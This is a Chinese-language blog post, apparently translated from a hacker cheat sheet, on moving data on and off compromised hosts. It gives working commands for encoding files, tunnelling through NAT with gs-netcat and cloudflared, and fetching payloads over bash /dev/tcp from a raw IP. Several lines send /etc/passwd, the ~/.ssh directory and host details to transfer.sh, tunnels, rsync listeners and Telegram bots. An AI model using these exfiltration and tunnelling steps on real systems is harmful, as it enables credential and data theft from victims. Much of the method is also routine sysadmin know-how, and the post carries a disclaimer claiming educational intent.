高级黑客技术-4. 数据上传/下载/删除

admin 2024年4月22日02:09:04评论2 views字数 6299阅读20分59秒阅读模式
高级黑客技术-4. 数据上传/下载/删除

本期内容提供了一系列高级技巧和工具,旨在帮助用户高效地进行数据上传、下载和删除操作,特别适用于网络安全专家、渗透测试人员和其他技术人员。内容涵盖了多种文件编码和传输方法,包括但不限于UU编码、OpenSSL、xxd的使用,以及通过剪切粘贴、屏幕、gs-netcat、HTTPS、rsync等技术进行文件传输的详细指导。此外,还介绍了如何利用WebDAV和Telegram进行文件共享和传输,以及使用公共转储服务和无需curl的bash技巧进行文件传输的方法。

4. 数据上传/下载/删除

4.1 文件编码

将二进制文件编码为文本,以便通过终端连接进行传输:

UU编码/解码

## uuencode 编码
uuencode /etc/issue.net issue.net-COPY

## uudecode 解码 (复制粘贴上面的3行):
uudecode

Openssl 编码/解码

## openssl 编码
openssl base64 </etc/issue.net

## openssl 解码 (复制粘贴上面的1行):
openssl base64 -d >issue.net-COPY

xxd 编码/解码

## xxd 编码
xxd -p </etc/issue.net

## xxd 解码
xxd -p -r >issue.net-COPY

4.2 文件传输 - 使用剪切和粘贴

粘贴到远程计算机上的文件中(注意<<-'__EOF__'不要弄乱制表符或 $ 变量)。

cat >output.txt <<-'__EOF__'
[...]
__EOF__ ### 通过输入 __EOF__ 完成剪切和粘贴

4.3 文件传输 - 使用 屏幕

从远程到本地(下载)

在本地计算机上运行一个屏幕,然后从 shell 中登录到远程系统。指示您的本地屏幕将所有输出记录到 screen-xfer.txt

CTRL-a : logfile screen-xfer.txt
CTRL-a H

我们使用openssl来编码我们的数据,但上述任何编码方法都可以。此命令将在终端中显示 base64 编码的数据,并且screen会将这些数据写入screen-xfer.txt

## 在远程系统上编码 issue.net
openssl base64 </etc/issue.net

停止本地屏幕记录任何进一步的数据:

CTRL-a H

在本地计算机上解码文件:

openssl base64 -d <screen-xfer.txt
rm -rf screen-xfer.txt

从本地到远程(上传)

在本地系统上对数据进行编码:

openssl base64 </etc/issue.net >screen-xfer.txt

在远程系统上(以及在当前屏幕内):

openssl base64 -d

获取screen将 base64 编码的数据放入 screen 的剪贴板中,并将数据从剪贴板粘贴到远程系统:

CTRL-a : readbuf screen-xfer.txt
CTRL-a : paste .
CTRL-d
CTRL-d

注意:由于openssl 中的错误[1],需要两个 CTRL-d 。

4.4 文件传输 - 使用 gs-netcat 和 sftp

使用gs-netcat[2]并在其中封装sftp协议。允许访问 NAT/防火墙后面的主机。

gs-netcat -s MySecret -l -e /usr/lib/sftp-server         # 主机位于 NAT/防火墙之后

从您的工作站执行以下命令以连接到 SFTP 服务器:

export GSOCKET_ARGS="-s MySecret"                        # 工作站
sftp -D gs-netcat # 工作站

或者传输单个文件:

# 在发送方
gs-netcat -l <"FILENAME" # 将输出一个接收方使用的 SECRET

# 在接收方
gs-netcat >"FILENAME" # 提示时,输入发送方的 SECRET

4.5 文件传输 - 使用 HTTPS

* 从服务器下载到接收器:

在发送方/服务器上:

## 启动一个临时的 HTTP 服务器并共享当前工作目录。
python -m http.server 8080 --bind 127.0.0.1 &
# 或者使用: php -S 127.0.0.1:8080
cloudflared tunnel -url localhost:8080

接收方:从任何浏览器访问 URL 以查看/下载远程文件系统。

1 - 使用 PHP 上传:

在接收器上:

curl -fsSL -o upload_server.php <https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/upload_server.php>
mkdir upload
(cd upload; php -S 127.0.0.1:8080 ../upload_server.php &>/dev/null &)
cloudflared tunnel --url localhost:8080 --no-autoupdate

在发件人上:

# 设置一个函数:
up() { curl -fsSL -F "file=@${1:?}" <https://ABOVE-URL-HERE.trycloudflare.com>; }
# 这样上传文件:
up warez.tar.gz
up /etc/passwd

2 - 使用 PYTHON 上传:

在接收器上:

pip install uploadserver
python -m uploadserver &
cloudflared tunnel -url localhost:8000

在发件人上:

curl -X POST  <https://CF-URL-CHANGE-ME.trycloudflare.com/upload> -F '[email protected]'

4.6 无需curl的文件传输

使用 bash,仅下载:

burl() {
IFS=/ read -r proto x host query <<<"$1"exec 3<>"/dev/tcp/${host}/${PORT:-80}"echo -en "GET /${query} HTTP/1.0\r\nHost: ${host}\r\n\r\n" >&3
(while read -r l; do echo >&2 "$l"; [[ $l == $'\r' ]] && break; done && cat ) <&3
exec 3>&-
}
# burl <http://ipinfo.io>
# PORT=31337 burl <http://37.120.235.188/blah.tar.gz> >blah.tar.gz

4.7 使用公共转储进行文件传输

剪切并粘贴到您的 bash 中:

transfer() {
[[ $# -eq 0 ]] && { echo -e >&2 "Usage:\n transfer \n transfer [name] <FILENAME"; return 255; }
[[ ! -t 0 ]] && { curl -SsfL --progress-bar -T "-" "<https://transfer.sh/${1}>"; return; }
[[ ! -e "$1" ]] && { echo -e >&2 "Not found: $1"; return 255; }
[[ -d "$1" ]] && { (cd "${1}/.."; tar cfz - "${1##*/}")|curl -SsfL --progress-bar -T "-" "<https://transfer.sh/${1##*/}.tar.gz>"; return; }
curl -SsfL --progress-bar -T "$1" "<https://transfer.sh/${1##*/}>"
}

然后上传文件或目录:

transfer /etc/passwd  # 单个文件
transfer ~/.ssh # 整个目录
(curl ipinfo.io; hostname; uname -a; cat /proc/cpuinfo) | transfer "$(hostname)"

4.8 文件传输 - 使用 rsync

非常适合同步大量目录或重新启动中断的传输。该示例使用从发送方到接收方的单个 TCP 连接将目录“warez”传输到接收方。

接收者:

echo -e "[up]\npath=upload\nread only=false\nuid=$(id -u)\ngid=$(id -g)" >r.conf
mkdir upload
rsync --daemon --port=31337 --config=r.conf --no-detach

发件人:

rsync -av warez rsync://1.2.3.4:31337/up

相同的加密(OpenSSL):

接收者:

# 如果不支持 ed25519 (例如 rsync 连接错误),使用 rsa:2048
openssl req --subj '/CN=example.com/O=EL/C=XX' -new -newkey ed25519 -days 14 -nodes -x509 -keyout ssl.key -out ssl.crt
cat ssl.key ssl.crt >ssl.pem
rm -f ssl.key ssl.crt
mkdir upload
cat ssl.pem
socat OPENSSL-LISTEN:31337,reuseaddr,fork,cert=ssl.pem,cafile=ssl.pem EXEC:"rsync --server -logtprR --safe-links --partial upload"

发件人:

# 从接收方复制 ssl.pem 到发送方,然后发送名为 'warez' 的目录
IP=1.2.3.4
PORT=31337
# 使用 rsync + socat-ssl
up1() {
rsync -ahPRv -e "bash -c 'socat - OPENSSL-CONNECT:${IP:?}:${PORT:-31337},cert=ssl.pem,cafile=ssl.pem,verify=0' #" -- "$@" 0:
}
# 使用 rsync + openssl
up2() {
rsync -ahPRv -e "bash -c 'openssl s_client -connect ${IP:?}:${PORT:-31337} -servername example.com -cert ssl.pem -CAfile ssl.pem -quiet 2>/dev/null' #" -- "$@" 0:
}
up1 /var/www/./warez
up2 /var/www/./warez

4.9 文件传输 - 使用 WebDAV

在接收器上启动 Cloudflare-Tunnel 和 WebDAV:

cloudflared tunnel --url localhost:8080 &
# [...]
# +--------------------------------------------------------------------------------------------+
# | 您的快速隧道已创建!请访问以下地址(可能需要一些时间才能访问):|
# | <https://example-foo-bar-lights.trycloudflare.com> |
# +--------------------------------------------------------------------------------------------+
# [...]
wsgidav --port=8080 --root=. --auth=anonymous

在另一台服务器上:

# 上传文件到您的工作站
curl -T file.dat <https://example-foo-bar-lights.trycloudflare.com>
# 远程创建目录
curl -X MKCOL <https://example-foo-bar-lights.trycloudflare.com/sources>
# 远程创建目录层次结构
find . -type d | xargs -I{} curl -X MKCOL <https://example-foo-bar-lights.trycloudflare.com/sources/{}>
# 并行上传所有 *.c 文件:
find . -name '*.c' | xargs -P10 -I{} curl -T{} <https://example-foo-bar-lights.trycloudflare.com/sources/{}>

在文件资源管理器中从 Windows 访问共享(以拖放文件):

\\example-foo-bar-lights.trycloudflare.com@SSL\sources

或者在 Windows 上挂载 WebDAV 共享 (Z:/):

net use * \\example-foo-bar-lights.trycloudflare.com@SSL\sources

4.10 文件传输到 Telegram

通过无数的上传服务[3],但 Telegram 是一个不错的选择。从TG BotFather[4]获取 TG-Bot-Token。然后创建一个新的 TG 组并将您的机器人添加到该组。检索该组的 chat_id

curl -s "https://api.telegram.org/bot<TG-BOT-TOKEN>/getUpdates" | jq -r '.result[].message.chat.id' | uniq
# If you get only {"ok":true,"result":[]} then remove and add the bot again.
# Upload file.zip straight into the group chat:
curl -sF document=@file.zip "https://api.telegram.org/bot<TG-BOT-TOKEN>/sendDocument?chat_id=<TG-CHAT-ID>"

欢迎访问我们的网站和关注我们的公众号,获取最新的免费资源、安全知识、信息流。网站:https://hackerchi.top                                         互联网信息流:https://hackerchi.top/Feeds.html微信公众号:黑客驰        

💡

免责声明:本文为共享文章,仅有教育交流目的,不构成任何法律或专业建议。读者应自行承担使用该文章所产生的风险和责任。作者和组织不对使用该文章所引起的任何损失或损害负责。本文严禁提供、讨论或鼓励任何网络安全违法行为。请遵守法律法规,进行合法的技术共享活动。

👉

请大家关注我们的公众号"黑客驰",收藏我们的文章,转发给你的朋友们,让更多的人了解到这些有用的知识!网站是实时更新的,公众号每天只有1次机会,不想错过关键内容的话,推荐您访问官网[5],如果能给个免费的赞!或者打赏点咖啡钱更好!

参考资料

[1]

openssl 中的错误: https://github.com/openssl/openssl/issues/9355

[2]

gs-netcat: https://github.com/hackerschoice/gsocket

[3]

上传服务: https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/blob/master/README.md#cloudexfil

[4]

TG BotFather: https://www.siteguarding.com/en/how-to-get-telegram-bot-api-token

[5]

官网: https://hackerchi.top/

原文始发于微信公众号(黑客驰):高级黑客技术-4. 数据上传/下载/删除

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月22日02:09:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   高级黑客技术-4. 数据上传/下载/删除https://cn-sec.com/archives/2676126.html

发表评论

匿名网友 填写信息